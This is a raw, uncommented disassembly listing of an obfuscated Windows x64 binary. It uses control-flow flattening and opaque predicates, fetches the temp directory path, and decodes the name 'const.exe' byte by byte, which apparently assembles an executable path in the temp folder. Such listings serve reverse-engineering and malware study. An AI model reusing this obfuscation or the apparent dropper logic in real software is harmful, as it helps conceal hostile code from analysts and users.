mov r11d, 0x78700930
mov r10d, 0x14521f21
movabs r9, 0x335a77a93a9c4e4c
movabs r8, 0x36a0fa38eb0b3b73
add rsp, 0x20
mov eax, 0x1476c5fc
jmp 0x1400010fd
mov rax, qword [rbp - 0x60]
mov eax, dword [0x140061078]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xc13774ef
mov ecx, 0x7a44a304
jmp 0x1400010f0
mov eax, 0xda310ce3
jmp 0x1400010fd
mov eax, dword [0x140061078]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xf6ee400c
mov ecx, 0x7e9dbe13
jmp 0x1400010f0
mov eax, 0xddd7ceb7
jmp 0x1400010fd
mov eax, 0x66908dde
jmp 0x1400010fd
cmp eax, 0x48c17a15
jne 0x1400010fd
jmp 0x140020fee
mov eax, 0x110
call fcn.14005ed70
sub rsp, rax
mov rsi, rsp
mov eax, 0x110
call fcn.14005ed70
sub rsp, rax
mov qword [rbp + 0x60], rsp
mov eax, 0x20
call fcn.14005ed70
sub rsp, rax
mov r13, rsp
sub rsp, 0x20
mov ecx, 0x104
mov rdx, rsi
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
add rsp, 0x20
mov ecx, 0xa2b09cae
mov r10d, 0x7b15e31b
mov r11d, 0x80aabfb5
nop dword [rax + rax]
cmp ecx, 0x327f151b
je 0x14001ecd0
cmp ecx, 0xa2b09cae
jne 0x14001eb30
sub rsp, 0x20
mov edx, 0x104
mov rcx, qword [rbp + 0x60]
mov r8, rsi
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcpy_s]
add rsp, 0x20
mov ecx, 0x327f151b
jmp 0x14001eb1c
mov eax, 0x70
call fcn.14005ed70
sub rsp, rax
mov rax, rsp
mov qword [rbp - 0x18], rax
mov eax, 0x20
call fcn.14005ed70
sub rsp, rax
mov rax, rsp
mov qword [rbp - 0x28], rax
mov eax, 0x110
call fcn.14005ed70
sub rsp, rax
mov rdi, rsp
mov eax, 0x110
call fcn.14005ed70
sub rsp, rax
mov rax, rsp
mov qword [rbp - 0x20], rax
mov eax, 0x20
call fcn.14005ed70
sub rsp, rax
mov r13, rsp
mov eax, 0x50
call fcn.14005ed70
sub rsp, rax
mov rax, rsp
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x18]
mov qword [rbp - 0x38], rax
mov rax, qword [rbp - 0x38]
mov rax, qword [rbp - 0x28]
mov qword [rbp - 0x40], rax
mov rax, qword [rbp - 0x40]
mov rax, qword [rbp - 0x38]
movups xmmword [rax + 0x10], xmm6
movups xmmword [rax + 0x20], xmm6
movups xmmword [rax + 0x30], xmm6
movups xmmword [rax + 0x40], xmm6
movups xmmword [rax + 0x50], xmm6
movups xmmword [rax], xmm6
mov qword [rax + 0x60], 0
mov rax, qword [rbp - 0x18]
mov dword [rax], 0x68
mov rax, qword [rbp - 0x18]
mov dword [rax + 0x3c], 1
mov rax, qword [rbp - 0x18]
mov word [rax + 0x40], 0
mov rax, qword [rbp - 0x40]
movups xmmword [rax], xmm6
mov qword [rax + 0x10], 0
mov qword [rbp - 0x50], rdi
mov rax, qword [rbp - 0x50]
sub rsp, 0x20
mov ecx, 0x104
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
add rsp, 0x20
mov rax, qword [rbp - 0x20]
mov qword [rbp - 0x58], rax
mov rax, qword [rbp - 0x58]
mov rsi, qword [rbp - 0x20]
mov ecx, 0xa2b09cae
mov r10d, 0x7b15e31b
mov r11d, 0x80aabfb5
nop dword [rax + rax]
cmp ecx, 0x327f151b
je 0x14001fe40
cmp ecx, 0xa2b09cae
jne 0x14001ec90
sub rsp, 0x20
mov edx, 0x104
mov rcx, rsi
mov r8, rdi
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcpy_s]
add rsp, 0x20
mov ecx, 0x327f151b
jmp 0x14001ec7c
mov dword [rbp + 0x80], eax
mov eax, dword [rbp + 0x80]
mov eax, dword [0x1400610a0]
mov ecx, dword [0x1400610a4]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete byte [rbp + 0x10]
cmp ecx, 0xa
setl byte [rbp]
mov ecx, 0x1d8d4cc4
jmp 0x14001ed10
mov ecx, 0xaa7869af
nop dword [rax + rax]
cmp ecx, 0x1d8d4cc3
jle 0x14001ee40
cmp ecx, 0x65085e3e
jg 0x14001eea0
cmp ecx, 0x1d8d4cc4
je 0x14001efb7
cmp ecx, 0x2672463a
jne 0x14001ed10
mov qword [rbp + 0x20], r13
lea rax, str.const.exe
mov qword [rbp + 0x30], rax
mov rax, qword [rbp + 0x30]
movzx eax, byte [rax]
movabs rcx, 0xc70627a1b2fe433b
sub rcx, rax
lea edx, [rax + 0xc4]
add eax, 0x44
and eax, 0x40
movabs rbx, 0x8400000112000099
and rcx, rbx
or rcx, rax
and edx, 0x126
or rdx, rcx
movabs rax, 0x904c2209c248d884
lea rcx, [rax + 1]
xor rcx, rdx
mov eax, dword [0x1400610a8]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
mov esi, 0x24d16931
cmovne esi, r11d
mov ebx, 0x80aabfb5
mov edx, 0xce4761e2
cmove ebx, edx
cmp dword [0x1400610ac], 0xa
mov eax, 0x24d16931
cmovl esi, eax
cmovl ebx, edx
mov edx, 0x709d7bc1
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp edx, 0xce4761e1
jle 0x14001ee10
cmp edx, 0x709d7bc1
je 0x14001ee25
cmp edx, 0x24d16931
je 0x14001ee29
cmp edx, 0xce4761e2
jne 0x14001ede0
mov edx, esi
jmp 0x14001ede0
cmp edx, 0x80aabfb5
je 0x14001ee30
cmp edx, 0x8740b8f3
jne 0x14001ede0
jmp 0x14001efd5
mov edx, ebx
jmp 0x14001ede0
mov edx, 0x8740b8f3
jmp 0x14001ede0
mov edx, 0xce4761e2
jmp 0x14001ede0
cmp ecx, 0xc1a1d6dd
jg 0x14001eec2
cmp ecx, 0x856423ac
je 0x14001ed03
cmp ecx, 0xaa7869af
jne 0x14001ed10
mov ecx, dword [0x1400610a0]
lea edx, [rcx - 1]
imul edx, ecx
and edx, 1
sete cl
cmp dword [0x1400610a4], 0xa
setge bl
xor cl, bl
mov eax, ecx
xor al, 1
and dl, bl
or dl, al
xor dl, cl
mov ecx, 0x856423ac
cmovne ecx, r10d
jmp 0x14001ed10
cmp ecx, 0x65085e3f
je 0x14001f0c7
cmp ecx, 0x7b15e31b
jne 0x14001ed10
mov ecx, 0x2672463a
jmp 0x14001ed10
cmp ecx, 0xf503ca04
jne 0x14001f762
mov r8, qword [rbp + 0x28]
mov rax, qword [rbp + 0x30]
movzx eax, byte [rax + 7]
movabs rcx, 0xc70627a1b2fe433b
sub rcx, rax
lea edx, [rax + 0xc4]
add eax, 0x44
and eax, 0x40
movabs rbx, 0x8400000112000099
and rcx, rbx
or rcx, rax
and edx, 0x126
or rdx, rcx
movabs rax, 0x904c2209c248d884
lea rcx, [rax + 0x36]
xor rcx, rdx
mov eax, dword [0x1400610a8]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
mov edi, 0x24d16931
cmovne edi, r11d
mov ebx, 0x80aabfb5
mov edx, 0xce4761e2
cmove ebx, edx
cmp dword [0x1400610ac], 0xa
mov eax, 0x24d16931
cmovl edi, eax
cmovl ebx, edx
mov edx, 0x709d7bc1
nop dword [rax]
cmp edx, 0xce4761e1
jle 0x14001ef90
cmp edx, 0x709d7bc1
je 0x14001efa5
cmp edx, 0x24d16931
je 0x14001efa9
cmp edx, 0xce4761e2
jne 0x14001ef60
mov edx, edi
jmp 0x14001ef60
cmp edx, 0x80aabfb5
je 0x14001efb0
cmp edx, 0x8740b8f3
jne 0x14001ef60
jmp 0x14001f0e5
mov edx, ebx
jmp 0x14001ef60
mov edx, 0x8740b8f3
jmp 0x14001ef60
mov edx, 0xce4761e2
jmp 0x14001ef60
mov dl, byte [rbp + 0x10]
cmp byte [rbp], 0
mov ecx, 0x856423ac
mov eax, 0xaa7869af
cmovne ecx, eax
test dl, dl
cmovne ecx, eax
jmp 0x14001ed10
mov qword [rbp + 0x80], rcx
mov rax, qword [rbp + 0x80]
mov rcx, qword [rbp + 0x20]
mov byte [rcx], al
mov r9, qword [rbp + 0x20]
mov rax, qword [rbp + 0x30]
movzx eax, byte [rax + 1]
movabs rbx, 0xc70627a1b2fe433b
sub rbx, rax
lea edx, [rax + 0xc4]
add eax, 0x44
and eax, 0x40
movabs rcx, 0x8400000112000099
and rbx, rcx
or rbx, rax
and edx, 0x126
or rdx, rbx
movabs rax, 0x904c2209c248d884
xor rdx, rax
mov eax, dword [0x1400610a8]
lea ebx, [rax - 1]
imul ebx, eax
test bl, 1
mov edi, 0x24d16931
cmovne edi, r11d
mov esi, 0x80aabfb5
mov ecx, 0xce4761e2
cmove esi, ecx
cmp dword [0x1400610ac], 0xa
mov eax, 0x24d16931
cmovl edi, eax
cmovl esi, ecx
mov ebx, 0x709d7bc1
cmp ebx, 0xce4761e1
jle 0x14001f0a0
cmp ebx, 0x709d7bc1
je 0x14001f0b5
cmp ebx, 0x24d16931
je 0x14001f0b9
cmp ebx, 0xce4761e2
jne 0x14001f070
mov ebx, edi
jmp 0x14001f070
cmp ebx, 0x80aabfb5
je 0x14001f0c0
cmp ebx, 0x8740b8f3
jne 0x14001f070
jmp 0x14001f1d7
mov ebx, esi
jmp 0x14001f070
mov ebx, 0x8740b8f3
jmp 0x14001f070
mov ebx, 0xce4761e2
jmp 0x14001f070
mov byte [r8], 0
add r8, 1
cmp r8, qword [rbp + 0x78]
mov ecx, 0x65085e3f
mov eax, 0xc1a1d6de
cmove ecx, eax
jmp 0x14001ed10
mov qword [rbp + 0x80], rcx
mov rax, qword [rbp + 0x80]
mov byte [r8 + 1], al
mov rax, qword [rbp + 0x30]
movzx eax, byte [rax + 8]
movabs rcx, 0xc70627a1b2fe433b
sub rcx, rax
lea edx, [rax + 0xc4]
add eax, 0x44
and eax, 0x40
movabs rbx, 0x8400000112000099
and rcx, rbx
or rcx, rax
and edx, 0x126
or rdx, rcx
movabs rax, 0x904c2209c248d884
lea rcx, [rax + 0x39]
xor rcx, rdx
mov eax, dword [0x1400610a8]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
mov edi, 0x24d16931
cmovne edi, r11d
mov ebx, 0x80aabfb5
mov edx, 0xce4761e2
cmove ebx, edx
cmp dword [0x1400610ac], 0xa
mov eax, 0x24d16931
cmovl edi, eax
cmovl ebx, edx
mov edx, 0x709d7bc1
nop
cmp edx, 0xce4761e1
jle 0x14001f1b0
cmp edx, 0x709d7bc1
je 0x14001f1c5
cmp edx, 0x24d16931
je 0x14001f1c9
cmp edx, 0xce4761e2
jne 0x14001f180
mov edx, edi
jmp 0x14001f180
cmp edx, 0x80aabfb5
je 0x14001f1d0
cmp edx, 0x8740b8f3
jne 0x14001f180
jmp 0x14001f2c7
mov edx, ebx
jmp 0x14001f180
mov edx, 0x8740b8f3
jmp 0x14001f180
mov edx, 0xce4761e2
jmp 0x14001f180
mov qword [rbp + 0x80], rdx
mov rax, qword [rbp + 0x80]
mov byte [r9 + 1], al
mov rax, qword [rbp + 0x30]
movzx eax, byte [rax + 2]
movabs rdx, 0xc70627a1b2fe433b
sub rdx, rax
lea ebx, [rax + 0xc4]
add eax, 0x44
and eax, 0x40
movabs rcx, 0x8400000112000099
and rdx, rcx
or rdx, rax
and ebx, 0x126
or rbx, rdx
movabs rax, 0x904c2209c248d884
lea rdx, [rax + 3]
xor rdx, rbx
mov eax, dword [0x1400610a8]
lea ebx, [rax - 1]
imul ebx, eax
test bl, 1
mov edi, 0x24d16931
cmovne edi, r11d
mov esi, 0x80aabfb5
mov ecx, 0xce4761e2
cmove esi, ecx
cmp dword [0x1400610ac], 0xa
mov eax, 0x24d16931
cmovl edi, eax
cmovl esi, ecx
mov ebx, 0x709d7bc1
cmp ebx, 0xce4761e1
jle 0x14001f2a0
cmp ebx, 0x709d7bc1
je 0x14001f2b5
cmp ebx, 0x24d16931
je 0x14001f2b9
cmp ebx, 0xce4761e2
jne 0x14001f270
mov ebx, edi
jmp 0x14001f270
cmp ebx, 0x80aabfb5
je 0x14001f2c0
cmp ebx, 0x8740b8f3
jne 0x14001f270
jmp 0x14001f3b7
mov ebx, esi
jmp 0x14001f270
mov ebx, 0x8740b8f3
jmp 0x14001f270
mov ebx, 0xce4761e2
jmp 0x14001f270
mov qword [rbp + 0x80], rcx
mov rax, qword [rbp + 0x80]
mov byte [r8 + 2], al
mov rax, qword [rbp + 0x30]
movzx eax, byte [rax + 9]
movabs rcx, 0xc70627a1b2fe433b
sub rcx, rax
lea edx, [rax + 0xc4]
add eax, 0x44
and eax, 0x40
movabs rbx, 0x8400000112000099
and rcx, rbx
or rcx, rax
and edx, 0x126
or rdx, rcx
movabs rax, 0x904c2209c248d884
lea rcx, [rax + 0x38]
xor rcx, rdx
mov eax, dword [0x1400610a8]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
mov edi, 0x24d16931
cmovne edi, r11d
mov ebx, 0x80aabfb5
mov edx, 0xce4761e2
cmove ebx, edx
cmp dword [0x1400610ac], 0xa
mov eax, 0x24d16931
cmovl edi, eax
cmovl ebx, edx
mov edx, 0x709d7bc1
cmp edx, 0xce4761e1
jle 0x14001f390
cmp edx, 0x709d7bc1
je 0x14001f3a5
cmp edx, 0x24d16931
je 0x14001f3a9
cmp edx, 0xce4761e2
jne 0x14001f360
mov edx, edi
jmp 0x14001f360
cmp edx, 0x80aabfb5
je 0x14001f3b0
cmp edx, 0x8740b8f3
jne 0x14001f360
jmp 0x14001f4a4
mov edx, ebx
jmp 0x14001f360
mov edx, 0x8740b8f3
jmp 0x14001f360
mov edx, 0xce4761e2
jmp 0x14001f360
mov qword [rbp + 0x80], rdx
mov rax, qword [rbp + 0x80]
mov byte [r9 + 2], al
mov rax, qword [rbp + 0x30]
movzx eax, byte [rax + 3]
movabs rdx, 0xc70627a1b2fe433b
sub rdx, rax
lea ebx, [rax + 0xc4]
add eax, 0x44
and eax, 0x40
movabs rcx, 0x8400000112000099
and rdx, rcx
or rdx, rax
and ebx, 0x126
or rbx, rdx
movabs rax, 0x904c2209c248d884
lea rdx, [rax + 2]
xor rdx, rbx
mov eax, dword [0x1400610a8]
lea ebx, [rax - 1]
imul ebx, eax
test bl, 1
mov edi, 0x24d16931
cmovne edi, r11d
mov esi, 0x80aabfb5
mov ecx, 0xce4761e2
cmove esi, ecx
cmp dword [0x1400610ac], 0xa
mov eax, 0x24d16931
cmovl edi, eax
cmovl esi, ecx
mov ebx, 0x709d7bc1
cmp ebx, 0xce4761e1
jle 0x14001f480
cmp ebx, 0x709d7bc1
je 0x14001f492
cmp ebx, 0x24d16931
je 0x14001f496
cmp ebx, 0xce4761e2
jne 0x14001f450
mov ebx, edi
jmp 0x14001f450
cmp ebx, 0x80aabfb5
je 0x14001f49d
cmp ebx, 0x8740b8f3
jne 0x14001f450
jmp 0x14001f4d0
mov ebx, esi
jmp 0x14001f450
mov ebx, 0x8740b8f3
jmp 0x14001f450
mov ebx, 0xce4761e2
jmp 0x14001f450
mov qword [rbp + 0x80], rcx
mov rax, qword [rbp + 0x80]
mov byte [r8 + 3], al
add r8, 4
mov rax, qword [rbp + 0x20]
add rax, 0x1b
mov qword [rbp + 0x78], rax
mov ecx, 0x65085e3f
jmp 0x14001ed10
mov qword [rbp + 0x80], rdx
mov rax, qword [rbp + 0x80]
mov byte [r9 + 3], al
mov rax, qword [rbp + 0x30]
movzx eax, byte [rax + 4]
movabs rdx, 0xc70627a1b2fe433b
sub rdx, rax
lea edi, [rax + 0xc4]
add eax, 0x44
and eax, 0x40
movabs rcx, 0x8400000112000099
and rdx, rcx
or rdx, rax
and edi, 0x126
or rdi, rdx
movabs rax, 0x904c2209c248d884
lea rbx, [rax + 0x35]
xor rbx, rdi
mov eax, dword [0x1400610a8]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
mov edi, 0x24d16931
cmovne edi, r11d
mov esi, 0x80aabfb5
mov ecx, 0xce4761e2
cmove esi, ecx
cmp dword [0x1400610ac], 0xa
mov eax, 0x24d16931
cmovl edi, eax
cmovl esi, ecx
mov edx, 0x709d7bc1
nop dword [rax]
cmp edx, 0xce4761e1
jle 0x14001f5a0
cmp edx, 0x709d7bc1
je 0x14001f5b2
cmp edx, 0x24d16931
je 0x14001f5b6
cmp edx, 0xce4761e2
jne 0x14001f570
mov edx, edi
jmp 0x14001f570
cmp edx, 0x80aabfb5
je 0x14001f5bd
cmp edx, 0x8740b8f3
jne 0x14001f570
jmp 0x14001f5c4
mov edx, esi
jmp 0x14001f570
mov edx, 0x8740b8f3
jmp 0x14001f570
mov edx, 0xce4761e2
jmp 0x14001f570
mov qword [rbp + 0x80], rbx
mov rax, qword [rbp + 0x80]
mov byte [r9 + 4], al
mov rax, qword [rbp + 0x30]
movzx eax, byte [rax + 5]
movabs rdx, 0xc70627a1b2fe433b
sub rdx, rax
lea ecx, [rax + 0xc4]
add eax, 0x44
and eax, 0x40
movabs rbx, 0x8400000112000099
and rdx, rbx
or rdx, rax
and ecx, 0x126
or rcx, rdx
movabs rax, 0x904c2209c248d884
lea rbx, [rax + 0x34]
xor rbx, rcx
mov edx, 0x709d7bc1
nop word cs:[rax + rax]
cmp edx, 0xce4761e1
jle 0x14001f660
cmp edx, 0x709d7bc1
je 0x14001f672
cmp edx, 0x24d16931
je 0x14001f676
cmp edx, 0xce4761e2
jne 0x14001f630
mov edx, edi
jmp 0x14001f630
cmp edx, 0x80aabfb5
je 0x14001f67d
cmp edx, 0x8740b8f3
jne 0x14001f630
jmp 0x14001f684
mov edx, esi
jmp 0x14001f630
mov edx, 0x8740b8f3
jmp 0x14001f630
mov edx, 0xce4761e2
jmp 0x14001f630
mov qword [rbp + 0x80], rbx
mov rax, qword [rbp + 0x80]
mov byte [r9 + 5], al
add r9, 6
mov qword [rbp + 0x28], r9
mov rax, qword [rbp + 0x30]
movzx eax, byte [rax + 6]
movabs rcx, 0xc70627a1b2fe433b
sub rcx, rax
lea edx, [rax + 0xc4]
add eax, 0x44
and eax, 0x40
movabs rbx, 0x8400000112000099
and rcx, rbx
or rcx, rax
and edx, 0x126
or rdx, rcx
movabs rax, 0x904c2209c248d884
lea rcx, [rax + 0x37]
xor rcx, rdx
mov edx, 0x709d7bc1
nop
cmp edx, 0xce4761e1
jle 0x14001f720
cmp edx, 0x709d7bc1
je 0x14001f732
cmp edx, 0x24d16931
je 0x14001f736
cmp edx, 0xce4761e2
jne 0x14001f6f0
mov edx, edi
jmp 0x14001f6f0
cmp edx, 0x80aabfb5
je 0x14001f73d
cmp edx, 0x8740b8f3
jne 0x14001f6f0
jmp 0x14001f744
mov edx, esi
jmp 0x14001f6f0
mov edx, 0x8740b8f3
jmp 0x14001f6f0
mov edx, 0xce4761e2
jmp 0x14001f6f0
mov qword [rbp + 0x80], rcx
mov rax, qword [rbp + 0x80]
mov rcx, qword [rbp + 0x28]
mov byte [rcx], al
mov ecx, 0xf503ca04
jmp 0x14001ed10
cmp ecx, 0xc1a1d6de
jne 0x14001ed10
mov eax, dword [0x1400610b0]
mov ecx, dword [0x1400610b4]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete al
sete byte [rbp + 0x47]
cmp ecx, 0xa
setl cl
setl byte [rbp + 0x46]
or cl, al
mov eax, 0x2de45542
mov ecx, 0x3f4b0d3c
cmovne eax, ecx
mov esi, 0x2de45542
mov ecx, 0x803fe681
cmovne esi, ecx
mov edx, 0x98edbc95
mov ecx, 0x13fe7555
cmovne edx, ecx
mov ecx, 0xe8b4f623
mov r10d, 0x2c58269a
mov r11d, 0xad37266c
jmp 0x14001f7e0
mov qword [rbp + 0x68], r13
mov ecx, eax
nop word cs:[rax + rax]
mov ebx, ecx
cmp ecx, 0x13fe7554
jle 0x14001f810
cmp ebx, 0x35c6f2e8
jle 0x14001f840
mov ecx, esi
cmp ebx, 0x35c6f2e9
je 0x14001f7e0
cmp ebx, 0x3f4b0d3c
jne 0x14001f8aa
mov ecx, 0x4be76a07
jmp 0x14001f7e0
cmp ebx, 0xe8b4f622
jg 0x14001f860
cmp ebx, 0x803fe681
je 0x14001f7d0
mov ecx, ebx
cmp ebx, 0x98edbc95
jne 0x14001f7e0
mov ecx, 0xeb62d4f7
jmp 0x14001f7e0
cmp ebx, 0x13fe7555
je 0x14001f87d
mov ecx, ebx
cmp ebx, 0x2de45542
jne 0x14001f7e0
mov ecx, 0x803fe681
jmp 0x14001f7e0
cmp ebx, 0xe8b4f623
je 0x14001f887
mov ecx, ebx
cmp ebx, 0xeb62d4f7
jne 0x14001f7e0
mov ecx, edx
jmp 0x14001f7e0
mov ecx, 0x35c6f2e9
jmp 0x14001f7e0
movzx ebx, byte [rbp + 0x47]
cmp byte [rbp + 0x46], 0
mov edi, 0xeb62d4f7
mov ecx, 0xeb62d4f7
jne 0x14001f8a0
mov ecx, 0x98edbc95
test bl, bl
cmovne ecx, edi
jmp 0x14001f7e0
mov ecx, ebx
cmp ebx, 0x4be76a07
jne 0x14001f7e0
mov r8, qword [rbp + 0x68]
mov ecx, 0x70a26f57
movabs r13, 0xc95f05c714f4c48c
jmp 0x14001f90d
mov rax, qword [rbp + 0x70]
mov cl, byte [rbp + 0x57]
mov byte [r8 + rax], cl
add qword [rbp + 0x70], 1
mov eax, dword [0x1400610b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0xf6d5990
mov eax, 0xa6c4d6b6
nop dword [rax]
cmove ecx, eax
cmp dword [0x1400610bc], 0xa
cmovl ecx, eax
cmp ecx, 0xd89b884f
jg 0x14001f960
cmp ecx, 0xa6c4d6b5
jg 0x14001f9c0
cmp ecx, 0x953caa95
jg 0x14001fa6e
cmp ecx, 0x8d87cb0c
je 0x14001fb3e
cmp ecx, 0x8e0e07d2
je 0x14001fc1f
cmp ecx, 0x9287d1a2
jne 0x14001f90d
mov ecx, 0xad4ed955
jmp 0x14001f90d
cmp ecx, 0x4859f319
jle 0x14001fa30
cmp ecx, 0x64896c6d
jg 0x14001fa9c
cmp ecx, 0x4859f31a
je 0x14001fc29
cmp ecx, 0x520be96e
je 0x14001f8cd
cmp ecx, 0x6020ffee
jne 0x14001f90d
mov eax, dword [0x1400610b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0xa6603d04
mov eax, 0xb8fd8704
jmp 0x14001f900
cmp ecx, 0xbe3c61be
jg 0x14001fade
cmp ecx, 0xa6c4d6b6
je 0x14001fc37
cmp ecx, 0xad4ed955
je 0x14001fc41
cmp ecx, 0xb8fd8704
jne 0x14001f90d
mov eax, dword [0x1400610b8]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
sete al
cmp dword [0x1400610bc], 0xa
setge dl
xor al, dl
mov ebx, eax
xor bl, 1
and cl, dl
or cl, bl
xor cl, al
mov ecx, 0xa6603d04
mov eax, 0x64896c6e
cmovne ecx, eax
jmp 0x14001f90d
cmp ecx, 0xf6d598f
jle 0x14001fb1c
cmp ecx, 0xf6d5990
je 0x14001fc57
cmp ecx, 0x279c7981
je 0x14001fc74
cmp ecx, 0x29c0fd92
jne 0x14001f90d
mov qword [rbp + 0x10], r8
mov ecx, 0xcaefac04
jmp 0x14001f90d
cmp ecx, 0x953caa96
je 0x14001fc9e
cmp ecx, 0xa266d338
je 0x14001fcac
cmp ecx, 0xa6603d04
jne 0x14001f90d
mov ecx, 0xb8fd8704
jmp 0x14001f90d
cmp ecx, 0x64896c6e
je 0x14001fcbe
cmp ecx, 0x7540f6d3
je 0x14001fcdc
cmp ecx, 0x70a26f57
jne 0x14001f90d
mov eax, dword [0x1400610b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0xe1a01eb7
mov eax, 0xd6fc427d
jmp 0x14001f900
cmp ecx, 0xbe3c61bf
je 0x14001fcf9
cmp ecx, 0xd6fc427d
jne 0x14001fd74
lea rax, [rbp + 0x70]
mov qword [rbp + 8], rax
mov eax, dword [0x1400610b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0xe1a01eb7
mov eax, 0x9287d1a2
jmp 0x14001f900
cmp ecx, 0xd89b8850
je 0x14001fd0f
cmp ecx, 0xe1a01eb7
jne 0x14001f90d
mov ecx, 0xd6fc427d
jmp 0x14001f90d
mov rax, qword [rbp + 0x20]
movzx r9d, byte [rax]
mov rdx, qword [rbp]
movabs rax, 0x2cb5fa569d49641c
add rdx, rax
mov eax, dword [0x1400610c0]
lea ebx, [rax - 1]
imul ebx, eax
test bl, 1
sete byte [rbp + 0x44]
mov ebx, dword [0x1400610c4]
mov eax, 0x1dbe921a
cmove eax, r10d
cmp ebx, 0xa
setl byte [rbp + 0x8f]
cmovl eax, r10d
mov ebx, 0xf1b37c81
nop dword [rax]
cmp ebx, 0x1dbe9219
jg 0x14001fbd0
cmp ebx, 0xad37266c
je 0x14001fbff
cmp ebx, 0xf16291ed
je 0x14001fd4a
cmp ebx, 0xf1b37c81
jne 0x14001fb90
movzx ecx, byte [rbp + 0x44]
cmp byte [rbp + 0x8f], 0
mov ebx, 0x1dbe921a
cmovne ebx, r11d
test cl, cl
cmovne ebx, r11d
jmp 0x14001fb90
cmp ebx, 0x1dbe921a
je 0x14001fc0b
cmp ebx, 0x2c58269a
je 0x14001fc15
cmp ebx, 0x34a63efa
jne 0x14001fb90
mov rdi, qword [rbp + 0x30]
add rdi, qword [rbp + 0x28]
mov rsi, qword [rbp + 0x30]
and rsi, qword [rbp + 0x28]
mov ebx, 0xf16291ed
jmp 0x14001fb90
mov qword [rbp + 0x30], r9
mov qword [rbp + 0x28], rdx
mov ebx, eax
jmp 0x14001fb90
mov ebx, 0xad37266c
jmp 0x14001fb90
mov ebx, 0x34a63efa
jmp 0x14001fb90
mov ecx, 0xbe3c61bf
jmp 0x14001f90d
mov rax, qword [rbp + 8]
mov ecx, 0x29c0fd92
jmp 0x14001f90d
mov ecx, 0xa266d338
jmp 0x14001f90d
mov rax, qword [rbp + 8]
mov qword [rbp + 0x70], 0
mov ecx, 0xa266d338
jmp 0x14001f90d
mov rax, qword [rbp + 0x70]
mov cl, byte [rbp + 0x57]
mov byte [r8 + rax], cl
add qword [rbp + 0x70], 1
mov ecx, 0x520be96e
jmp 0x14001f90d
mov rax, qword [rbp + 0x58]
cmp rax, 0x1b
setb byte [rbp + 0x45]
mov eax, dword [0x1400610b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x953caa96
mov eax, 0x8e0e07d2
jmp 0x14001f900
mov rax, qword [rbp + 0x58]
mov ecx, 0x279c7981
jmp 0x14001f90d
mov rax, qword [rbp + 0x70]
mov qword [rbp + 0x58], rax
mov ecx, 0xd89b8850
jmp 0x14001f90d
mov eax, dword [0x1400610b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0xf6d5990
mov eax, 0x520be96e
jmp 0x14001f900
mov rax, qword [rbp + 0x70]
mov qword [rbp], rax
mov rax, qword [rbp + 0x70]
add rax, r8
mov qword [rbp + 0x20], rax
mov ecx, 0x8d87cb0c
jmp 0x14001f90d
cmp byte [rbp + 0x45], 0
mov ecx, 0x4859f31a
mov eax, 0x7540f6d3
cmovne ecx, eax
jmp 0x14001f90d
mov eax, dword [0x1400610b8]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
sete al
cmp dword [0x1400610bc], 0xa
setge dl
xor al, dl
mov ebx, eax
xor bl, 1
and cl, dl
or cl, bl
xor cl, al
mov ecx, 0x953caa96
mov eax, 0x279c7981
cmovne ecx, eax
jmp 0x14001f90d
mov qword [rbp + 0x78], rdi
mov qword [rbp + 0x80], rsi
mov rax, qword [rbp + 0x80]
add eax, eax
mov rcx, qword [rbp + 0x78]
sub ecx, eax
add cl, 0x3c
mov byte [rbp + 0x57], cl
mov ecx, 0x6020ffee
jmp 0x14001f90d
cmp ecx, 0xcaefac04
jne 0x14001f90d
mov r8, qword [rbp + 0x10]
mov eax, dword [0x1400610c8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete byte [rbp + 0x78]
mov ecx, dword [0x1400610cc]
mov eax, 0x7343c513
mov edx, 0x36c7c5a3
cmove eax, edx
cmp ecx, 0xa
setl byte [rbp + 0x80]
cmovl eax, edx
mov ecx, 0x9ceb1f5d
nop dword [rax]
cmp ecx, 0x52e5d915
jg 0x14001fdf0
cmp ecx, 0x9ceb1f5d
je 0x14001fe13
cmp ecx, 0x180a4ea5
je 0x14001fe32
cmp ecx, 0x36c7c5a3
jne 0x14001fdc0
mov ecx, 0x180a4ea5
jmp 0x14001fdc0
cmp ecx, 0x52e5d916
je 0x140001090
cmp ecx, 0x5c35b9c1
je 0x14001fe39
cmp ecx, 0x7343c513
jne 0x14001fdc0
mov ecx, 0x5c35b9c1
jmp 0x14001fdc0
movzx edx, byte [rbp + 0x78]
cmp byte [rbp + 0x80], 0
mov ecx, 0x7343c513
mov ebx, 0x5c35b9c1
cmovne ecx, ebx
test dl, dl
cmovne ecx, ebx
jmp 0x14001fdc0
mov ecx, 0x52e5d916
jmp 0x14001fdc0
mov ecx, eax
jmp 0x14001fdc0
mov dword [rbp + 0x80], eax
mov eax, dword [rbp + 0x80]
mov qword [rbp - 0x60], r13
mov rax, qword [rbp - 0x60]
mov eax, dword [0x1400610a0]
mov ecx, dword [0x1400610a4]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete byte [rbp + 0x10]
cmp ecx, 0xa
setl byte [rbp]
mov ecx, 0x1d8d4cc4
jmp 0x14001fe80
mov ecx, 0xaa7869af
cmp ecx, 0x1d8d4cc3
jle 0x14001ffb0
